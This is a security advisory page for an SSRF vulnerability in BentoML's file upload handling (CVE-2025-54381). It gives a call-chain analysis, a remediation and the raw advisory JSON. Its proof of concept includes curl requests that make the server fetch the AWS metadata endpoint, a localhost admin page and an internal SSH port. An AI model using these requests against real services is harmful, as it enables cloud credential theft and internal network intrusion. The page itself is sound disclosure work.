GHSA-MRMQ-3Q62-6CC8

Vulnerability from github – Published: 2025-07-29 19:24 – Updated: 2026-10-27 15:16
VLAI
Summary
BentoML SSRF Vulnerability in File Upload Processing
Details

Description

There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source - Sink Analysis

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation): 1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
2. MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the request 3. form = await request.form() parses multipart data using Starlette 4. For file-type fields: value = [await self.ensure_file(v) for v in form.getlist(k)] at line 209 5. MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URL 6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation):
1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipart_fields 2. JSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the request 3. body = await request.body() extracts request body 4. Condition check: if issubclass(cls, IORootModel) and cls.multipart_fields: at line 164 5. Weak validation: if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme) 6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept

Create a BentoML service:

from pathlib import Path
import bentoml

@bentoml.service  
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Deploy and exploit:

# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor

# SSRF Attack 1 - Access AWS metadata  
curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'

# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \  
     -F 'image=http://localhost:8080/admin'

# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
     -F 'image=http://10.0.0.1:22'

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

Impact

  • Access AWS/GCP/Azure cloud metadata services for credential theft
  • Enumerate and interact with internal HTTP services and APIs
  • Bypass firewall restrictions to reach internal network resources
  • Perform network reconnaissance from the server's perspective
  • Retrieve sensitive information disclosed in HTTP response data
  • Potential for internal service exploitation through crafted requests

Remediation

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing is_http_url() function should be enhanced to include allowlist validation rather than just scheme checking.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.4.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54381"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-29T19:24:47Z",
    "nvd_published_at": "2025-07-29T23:15:32Z",
    "severity": "CRITICAL"
  },
  "details": "### Description\n\nThere\u0027s an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.\n\nThe framework automatically registers any service endpoint with file-type parameters (`pathlib.Path`, `PIL.Image.Image`) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the `JSONSerde` path, the `MultipartSerde` path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.\n\nThe documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.\n\n### Source - Sink Analysis\n\n**Source:** User-controlled multipart form field values and JSON request bodies containing URLs\n\n**Call Chain - Path 1 (MultipartSerde - No Validation):**\n1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters  \n2. `MultipartSerde.parse_request()` in `src/_bentoml_impl/serde.py:202` processes the request\n3. `form = await request.form()` parses multipart data using Starlette\n4. For file-type fields: `value = [await self.ensure_file(v) for v in form.getlist(k)]` at line 209\n5. `MultipartSerde.ensure_file()` called at lines 186-200 with user-controlled string URL\n6. **Sink:** `resp = await client.get(obj)` at line 193 - Direct HTTP request with zero validation\n\n**Call Chain - Path 2 (JSONSerde - Weak Validation):**  \n1. HTTP POST request with JSON body containing URL to endpoint with `IORootModel` + `multipart_fields`\n2. `JSONSerde.parse_request()` in `src/_bentoml_impl/serde.py:157` processes the request\n3. `body = await request.body()` extracts request body\n4. Condition check: `if issubclass(cls, IORootModel) and cls.multipart_fields:` at line 164\n5. Weak validation: `if is_http_url(url := body.decode(\"utf-8\", \"ignore\")):` at line 165 (only checks scheme)\n6. **Sink:** `resp = await client.get(url)` at line 168 - HTTP request after insufficient validation\n\n### Proof of Concept\n\nCreate a BentoML service:\n```python\nfrom pathlib import Path\nimport bentoml\n\n@bentoml.service  \nclass ImageProcessor:\n    @bentoml.api\n    def process_image(self, image: Path) -\u003e str:\n        return f\"Processed image: {image}\"\n```\n\nDeploy and exploit:\n```bash\n# Start service (binds to 0.0.0.0:3000 by default)\nbentoml serve service.py:ImageProcessor\n\n# SSRF Attack 1 - Access AWS metadata  \ncurl -X POST http://target:3000/process_image \\\n     -F \u0027image=http://169.254.169.254/latest/meta-data/\u0027\n\n# SSRF Attack 2 - Internal service enumeration\ncurl -X POST http://target:3000/process_image \\  \n     -F \u0027image=http://localhost:8080/admin\u0027\n\n# SSRF Attack 3 - Internal network scanning\ncurl -X POST http://target:3000/process_image \\\n     -F \u0027image=http://10.0.0.1:22\u0027\n```\n\nExpected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.\n\n### Impact\n- Access AWS/GCP/Azure cloud metadata services for credential theft\n- Enumerate and interact with internal HTTP services and APIs  \n- Bypass firewall restrictions to reach internal network resources\n- Perform network reconnaissance from the server\u0027s perspective\n- Retrieve sensitive information disclosed in HTTP response data\n- Potential for internal service exploitation through crafted requests\n\n### Remediation  \n\nImplement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing `is_http_url()` function should be enhanced to include allowlist validation rather than just scheme checking.",
  "id": "GHSA-mrmq-3q62-6cc8",
  "modified": "2026-10-27T15:16:08Z",
  "published": "2025-07-29T19:24:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-mrmq-3q62-6cc8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54381"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/commit/534c3584621da4ab954bdc3d814cc66b95ae5fb8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-297.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/bentoml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML SSRF Vulnerability in File Upload Processing  "
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.